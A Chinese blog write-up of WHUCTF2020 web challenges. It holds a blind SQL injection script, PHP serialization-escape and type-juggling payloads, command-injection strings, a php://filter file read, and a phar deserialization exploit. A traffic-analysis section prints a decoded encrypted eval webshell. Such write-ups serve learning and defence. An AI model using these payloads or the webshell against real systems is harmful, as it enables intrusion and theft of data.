WHUCTF2020 Writeup

准备考研去了,很久没有写过博客,包括网鼎杯的 Writeup 也咕咕咕了,刚好最近有个武大的比赛,闲来就做了一下,太久没打,只会做 easy 题目了,有些题目还是蛮有意思的,只写了和 Web 相关的几题。

Easy_sqli

打开就是登陆框,试了万能密码发现有 Login success!,但是界面还是主页,应该后面就没有什么逻辑了,还爆出了执行的 sql 语句,非常贴心:

1
Your sql statement is: SELECT password FROM users WHERE username='admin' and 1=1#' AND password='123'

经过测试,发现对一些关键词进行了过滤,关键词被替换成空,目前根据自己的解法发现了 fromselectorwhere,采取双写绕过即可。然后发现只要 sql 语句是对了,那么就会有 Login success!,盲注解一波就出来了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# admin' and exists(seleselectct * frfromom users)#

import requests
from urllib.parse import *

alphabet = ['{', '}', '@', '_', ',', 'a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2','3','4','5','6','7','8','9']
res = ''
# WHUCTF{r3lly_re11y_n0t_d1ffIcult_yet??~}
# from, select, or, where
for i in range(1, 100):
#for char in alphabet:
for char in range(33, 127):
# information_schema,easy_sql1,mysql,performance_schema
# payload = "selselectect group_concat(schema_name) ffromrom infoorrmation_schema.schemata"

# f1ag_y0u_wi1l_n3ver_kn0w,user
# payload = "seleselectct group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()"

# f111114g,id,username,password
# payload = 'seleselectct group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database()'

payload = "seselectlect group_concat(f111114g) frfromom f1ag_y0u_wi1l_n3ver_kn0w"
data = {
"pass": "123",
"user": "admin' and (ascii(substr(({}),{},1))={})#".format(payload, i, char)
}
url = 'http://218.197.154.9:10011/login.php'
r = requests.post(url=url, data=data)
if "success!" in r.text:
res += chr(char)
print(res)
break
# print(r.content)

这里还有个小插曲,我字符集里面没有 ?~,搞得我很迷惑,问了一下出题人,地方是对的但是 flag 不正确,那就是字符的问题,后来直接用 ascii 表跑就出来了。

Ezphp

php 的代码审计,源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];

//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."<br>";
}
else{
die('会代码审计嘛23333');
}

//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);

if($md5_1 != $md5_2){
$a = strtr($md5_1, 'pggnb', '12345');
$b = strtr($md5_2, 'pggnb', '12345');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}

//3nd
function filter($string){
return preg_replace('/x/', 'yy', $string);
}

$username = $_POST['username'];

$password = "aaaaa";
$user = array($username, $password);

$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}

看到前两关就看出来是南邮2019的原题了,这里有三个绕过:

  1. 传入的 num 的值不可以等于 23333 ,并且这个值要被正则表达式 /^23333$/ 匹配到,换行符绕过正则匹配。
  2. 传入 str1str2 md5 值不可以一样,但是经过strtr函数替换后的md5值要一样
  3. 反序列化长度逃逸,把字符串的 x 都替换成 yy

第一关使用 num=23333%0a 即可绕过

第二关的 str1 要是数字,str2 随便用一个 md5 后是 0e 开头且为纯数字的即可。str1 需要 md5 后以 0e 开头,后面只包含 pggnb 中一个或多个的字母,其余是数字,这样一替换就都是 0e 造成 php 弱类型的绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hashlib
import re
import random
import requests

# 11230178
def md5():
global dict_az
dict_az = 'abcdefghijklmnopqrstuvwxyz'
i = 0
while True:
result = ''
result += str(i)
i = i + 1
hashed_s = hashlib.md5(result.encode('utf-8')).hexdigest()
r = re.match('^0e[0-9pggnb]{30}', hashed_s)
if r:
print("[+] found! md5( {} ) ---> {}".format(result, hashed_s))
exit(0)

if i % 1000000 == 0:
print("[+] current value: {} {} iterations, continue...".format(result, str(i)))

跑出来 11230178 即可成立,md5 值为 0e732639146814822596b49bb6939b97,替换后就为纯数字了,第二关过。

第三关就是 php 反序列化长度变化尾部字符串逃逸,可以参考 0ctf2016 的 piapiapia,题目将传入的 username 和 变量password打包成一个数组然后序列化,如果反序列化出来数组第二个元素等于 123456,即可得到flag。因此我们需要构造 a:2:{i:0;s:5:"admin";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";} 来将字符串闭合控制第二个元素为我们的 123456,但是长度会变,我们要添加的字符串为 admin";i:1;s:6:"123456";},长度为20,因此我们构造20个x,xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";},这样x就会被替换成yy,我们就多了20个位置,把我们的 payload 挤出去,就刚好可以闭合了。

完整 payload:

1
2
3
4
5
6
url = 'http://218.197.154.9:10015/?num=23333%0a&str1=0e215962017&str2=11230178'
un = 'xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'
data = {
"username": un
}
# whuctf{f4f9b4cd-e80e-4570-9b82-013d257c0756}

ezcmd

这道题也是一个原题,GXYCTF2019 的 Ping Ping Ping,源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("no space!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("no flag");
} else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){
die("cat't read flag");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
highlight_file(__FILE__);

?>

过滤了 {} ,没有过滤 $,空格可以使用 $IFS$9 绕过,管道符被过滤了,但是可以用 ; 进行另一条命令的执行,首先 ?ip=;ls 就可以看到 flag 就在 flag.php

image-20200527210656915

然后过滤了读的命令关键字,这里用 ca\t 即可绕过,同时也过滤了 flag.php 的关键字,我们可以用拼接的方法来绕过:

1
2
3
?ip=;a=fl;b=ag;ca\t$IFS$9$a$b.php //但还是会被检测出来,因此我们可以换一下顺序或者换成部分
?ip=;a=ag;b=fl;ca\t$IFS$1$b$a.php
?ip=;a=lag;ca\t$IFS$9f$a.php

完整 payload:?ip=;a=lag;ca\t$IFS$9f$a.php

ezinclude

这道题有点脑洞,在 /contact.php 里有提交表单的选项,随便提交发现 url 上有一些参数,题目说是文件包含,那么往这方面去想,后来发现直接加一个 file 参数就可以读了,flag就出来了,可能是给新生的送分题吧。

完整 payload: /thankyou.php?firstname=&lastname=&country=australia&subject=&file=php://filter/convert.base64-encode/resource=flag.php

Easy_unserialize

这题考察的是上传 phar 触发反序列化,刚好补了一下我的坑。。可以参考创宇的 paper: https://paper.seebug.org/680/

还是学弟发现在主页加参数 ?acti0n=php://filter/convert.Base64-encode/resource=upload.php 可以读到源码,于是把 view.phpupload.php 的源码看了一下, upload 的源码好像没有什么利用的点,看到 view.php 的时候,发现了一个 phar 的危险函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function delete_img($file_name) {
$name = $file_name;
if (file_exists($name)) {
@unlink($name);
if(!file_exists($name)) {
echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>";
header("refresh:3;url=view.php");
} else {
echo "Can not delete!";
exit;
}
} else {
echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>";
}
}

这里有一个 file_exists 可以利用,而且最后还会进行代码执行。

1
2
3
function __destruct() {
eval($this->cmd);
}

虽然 upload.php 没有什么利用点,但是可以看到黑名单

1
preg_match('/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_socket_server)|(error_log)/i', $content)

我们可以用 show_source() 函数把 flag.php 读一下,而且 phar 可以直接上传,那我们先构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class View
{
public $dir;
private $cmd;

function __construct()
{
$this->cmd = 'show_source("flag.php");';
}
function __destruct() {
eval($this->cmd);
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new View();
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();

?>

exp 的模板,有时候限制 gif 的话可以增加 gif 头,生成 phar 文件后,直接上传。

image-20200527212700287

我们可以知道,要通过 delete 这个参数来触发 file_exists 才可以利用 phar,因此构造参数 detele=phar://phar.phar包含一下,就可以得到flag了。

WHUCTF{Phar_1s_Very_d@nger0u5}

shellofAWD

这题是一个流量包,听名字应该是在打 AD 时的流量包,打开流量包很快就可以发现🐎,并且还可以看到靶机的 ip,筛选一下进行分析。

image-20200527213132020

后来跟踪下一个 tcp 流,发现送了一堆参数

image-20200527213230184

base64解码ant参数得到

1
eval(base64_decode($_POST[_0x6aa401ad3c537]));die();

再看看 _0x6aa401ad3c537 的参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out)
{
return $out;
}
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
echo "2e0ebea5592";
echo @asenc($output);
echo "62e800a0";
}
ob_start();
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") {
$D = dirname($_SERVER["PATH_TRANSLATED"]);
}
$R = "{$D}\t";
if (substr($D, 0, 1) != "/") {
foreach (range("C", "Z") as $L) {
if (is_dir("{$L}:")) {
$R .= "{$L}:";
}
}
} else {
$R .= "/";
}
$R .= "\t";
$u = function_exists("posix_getegid") ? @posix_getpwuid(@posix_geteuid()) : "";
$s = $u ? $u["name"] : @get_current_user();
$R .= php_uname();
$R .= "\t{$s}";
echo $R;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}
asoutput();
die;

当然,可以看到其实并没有什么用,可能就测试一下功能,不过大概知道了他传东西的套路了,看到 tcp.stream eq 3 时,发现了

image-20200527213650249

拿到了比较关键的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "17dc23";
echo @asenc($output);
echo "f890355d3c";
}
ob_start();
try {
$f=base64_decode($_POST["j6b36f516d1adf"]);
$c=$_POST["oc86831f79ec72"];
$c=str_replace("","",$c);
$c=str_replace("","",$c);
$buf="";
for ($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

?>

其中有一段解码的引起了注意,将参数里 $c=$_POST["oc86831f79ec72"]; 进行解码,可以得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}

这里就是比较关键的代码了,首先传 pass 设置 SESSION,这是 AES 的密钥,我们查到流量包有两个传 pass 的,最后一个得到的 key 就是后面我们用来解密的 AES 密钥。image-20200527214324885

可以知道 key = 91ee1bfc4fd27c90,接下来就是硬解后面的流量包了。发现执行了 ln -s /flag jquery.min.js ,这样 jquery.min.js 就指向了 flag,读它就得到了flag(tcp.stream eq 6)

image-20200527215003442

最后在 tcp.stream eq 7 里的回应里解密可以得到结果的 base64,结果解码就是flag了。

exp:

1
2
3
4
5
<?php	$post="5U+SIO3pbt0CXFm7gLAx3xT7q0qDPFaCK8lNevS6Nrmak6Hhj9PXx3ZlGnMIgkqnqHmf6ba5VvtRMgJP6wUtoMXx5WeYJvobewjKDmZ8sSUCZJhKzzkX2ISKKy/snPv+6UOh5rBo6j/JvFGUOUjkKCbCe+nEGD9EKyv10Uu9KHU=";
$key="91ee1bfc4fd27c90";
$post=openssl_decrypt($post, "AES128", $key);
echo $post;
?>

image-20200527215208860

image-20200527215228699

总体来说还是挺好玩的,总结了一些思路可以回去训练新人,武大的师傅还是很强,剩下两题web也没咋看,js还是硬伤不怎么会,留个坑以后慢慢补。


WHUCTF2020 Writeup
https://52hertz.tech/2020/05/26/whuctf2020_writeup/
作者
Ustin1an
发布于
2020年5月26日
许可协议